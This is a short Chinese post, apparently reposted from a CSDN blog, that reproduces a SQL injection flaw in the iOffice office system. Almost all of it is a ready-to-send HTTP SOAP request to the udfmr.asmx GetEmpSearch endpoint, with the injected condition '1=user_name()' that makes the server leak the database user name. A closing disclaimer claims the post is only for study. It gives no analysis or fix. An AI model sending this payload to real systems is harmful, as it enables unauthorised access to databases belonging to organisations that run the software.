【Web渗透】SQL注入漏洞复现

POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1








Host: your-ip








Content-Type: text/xml; charset=utf-8








SOAPAction: "http://tempuri.org/ioffice/udfmr/GetEmpSearch"








 








<?xml version="1.0" encoding="utf-8"?>








<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">








  <soap:Body>








    <GetEmpSearch xmlns="http://tempuri.org/ioffice/udfmr">








      <condition>1=user_name()</condition>








    </GetEmpSearch>








  </soap:Body>








</soap:Envelope>

文章来源于互联网，只做学习交流，如有侵权请联系删除！原文链接：https://blog.csdn.net/qq_41904294/article/details/132365842